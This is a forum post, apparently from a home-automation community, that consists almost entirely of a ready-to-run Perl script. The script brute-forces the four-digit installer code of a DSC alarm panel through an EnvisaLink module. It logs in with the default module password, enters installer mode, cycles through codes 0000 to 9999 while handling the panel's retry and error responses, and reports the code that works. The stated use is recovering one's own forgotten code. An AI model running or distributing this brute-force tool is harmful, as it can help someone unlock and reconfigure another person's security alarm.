baobao wrote:I did a few changes, the scanning speed is now about 22~24/min.
#
http://forum.eyez-on.com/FORUM/viewtopi ... 9&start=30
#
https://www.reddit.com/r/homeassistant/ ... ller_code/
#!/usr/bin/perl
use IO::Socket::INET;
use Time::HiRes qw ( time sleep );
############################
# Edit the variables below #
############################
# This is the IP of your EnvisaLink
# eg. 192.168.0.X, 10.0.0.X, etc.
$ip = "192.168.1.XXX";
# This is your EnvisaLink password. The default is user if you haven't changed it.
$password = "user";
# Range which you want to test
$code_start = "0000";
$code_end = "9999";
###############################################
# You shouldn't need to modify the code below #
###############################################
# auto-flush on socket
# force a flush after every write/print
$| = 1;
# Opens a new network socket on port 4025 (default port of EnvisaLink)
$socket = new IO::Socket::INET (
PeerHost => $ip,
PeerPort => '4025',
Proto => 'tcp',
);
die "DEBUG: Cannot connect to EnvisaLink. REASON: $!\n" unless $socket;
# Start logging
# open OUT, ">log." . currenttime() . ".txt";
open(OUT, '>', "log." . currenttime() . ".txt") or die $!;
l0gt("DEBUG: Connected to EnvisaLink");
DSC_get();
DSC_put(DSC_cmd("005", $password)); # 005 - network login
$response = DSC_get();
foreach ($response) {
/^5000052A.*5051CB/s && l0gt("DEBUG: Correct EnvisaLink password");
/^5000052A.*5050CA/s && l0gt("DEBUG: Incorrect EnvisaLink password") && exit(1);
/^.*5052CC/s && l0gt("DEBUG: Timeout") && exit(1);
}
$t = time;
for ($code = $code_start; $code <= $code_end; $code++) {
l0gt("DEBUG: Start installer mode entry cycle");
DSC_put(DSC_cmd("071", "1*8")); # 071 send keys, partition 1, '*8' enter installer mode
# DSC_get_ww("^922"); # Wait for 922 (EVL requests installer code)
$r = DSC_get_ww("^922|^6[58]");
while (index($r, "922") == -1) {
l0gt("There is an exception: '$r'"); # retry
DSC_put(DSC_cmd("071", "1##")); # 071 send keys, partition 1, '##' possibly back out of installer menu
DSC_get_w();
sleep(0.6);
l0gt("fuck up DEBUG: Start installer mode entry cycle");
DSC_put(DSC_cmd("071", "1*8")); # 071 send keys, partition 1, '*8' enter installer mode
# DSC_get_ww("^922"); # Wait for 922 (EVL requests installer code)
$r = DSC_get_ww("^922|^6[58]");
}
l0gt("got 922");
$scode = sprintf("%04d", $code); # Pad code with leading 0s if <1000
l0gt("DEBUG: Attempting $scode");
DSC_put(DSC_cmd("200", $scode)); # 200 send a code
# if the code is wrong you will get a 670 response and it will request another installer code via 922
# on my system it will only let you try again once via a 922
# 650=partition ready, 670=invalid access code, 680=system is in installer mode
$r = DSC_get_ww("^922|^6[58]"); #look for retry or ready or installer mode code
# sleep(1.5);
# try again if given opportunity via 922
while ($r =~ /^922/) {
l0gt("DEBUG 2nd try: Trying again within same cycle");
$code++;
$scode = sprintf("%04d", $code);
l0gt("DEBUG: Attempting $scode");
DSC_put(DSC_cmd("200", $scode));
$r = DSC_get_ww("^670|^6[58]"); #look for retry or ready or installer mode code
#If your system is like mine and only allows one retry,
#accept 670 as a response here, add a 0.6s sleep, and comment out the loop.
#this way it doesn't wait for the system to timeout and forces it to go back to the main menu.
}
l0gt("DEBUG: If we're in installer mode, back out to main menu");
DSC_put(DSC_cmd("071", "1##")); # 071 send keys, partition 1, '##' possibly back out of installer menu
DSC_get_w();
sleep(0.6); # wait for messages to be processed, otherwise "Keybus Transmit Buffer Overrun"
if ($r =~ /^680/) {l0gt("SUCCESS: $scode is the installer code"); exit(0); }
l0gt("DEBUG: End installer mode entry cycle");
}
close OUT;
$socket->close();
# This will create a timestamp in localtime
sub l0gt {
my $s = shift;
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
l0g("[" . sprintf("%.4d%.2d%.2d_%.2d%.2d%.2d", $year+1900, $mon+1, $mday, $hour, $min, $sec) . "] $s");
}
# This prints to STDOUT as well as logfile
sub l0g {
my $s = shift;
print "$s\n";
print OUT "$s\n";
}
sub currenttime {
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
my $yyyymmddhhmmss = sprintf "%.4d%.2d%.2d_%.2d%.2d%.2d", $year+1900, $mon+1, $mday, $hour, $min, $sec;
$yyyymmddhhmmss;
}
# Converts text to ASCII values
sub DSC_cs {
my @chars = (split//, shift);
my $cs = 0;
foreach (@chars) { $cs += ord($_); }
return sprintf("%.2X", $cs & 0xFF);
};
# Formats command
sub DSC_cmd {
my $cmd = shift . shift;
return $cmd.DSC_cs($cmd);
}
# Logs a response
sub DSC_get {
my $response = "";
$socket->recv($response, 1024);
my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g;
l0gt("response: '$hresponse' (length " . length($response) .")");
return $response;
}
# Waits for response(s) and logs it
sub DSC_get_w { # wait for data
my $response = "";
X: sleep(0.1);
$socket->recv($response, 1024);
if ($response eq "") { goto X; }
my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g;
l0gt("response: '$hresponse' (length " . length($response) .")");
return $response;
}
# Waits for a specific response and logs it
sub DSC_get_ww { # wait for specific data
my $response = "";
my $wanted = shift;
X: sleep(0.1);
$socket->recv($response, 1024);
if ($response eq "") { goto X; }
my $hresponse = $response; $hresponse =~ s/\n/\\n/g; $hresponse =~ s/\r/\\r/g;
l0gt("response: '$hresponse' (length " . length($response) .")");
unless ($response =~ /$wanted/) { goto X; }
return $response;
}
# Sends a command and logs it
sub DSC_put {
my $req = shift . "\r\n";
my $size = $socket->send($req);
my $hreq = $req; $hreq =~ s/\n/\\n/g; $hreq =~ s/\r/\\r/g;
l0gt("sent data '$hreq' (length $size)");
}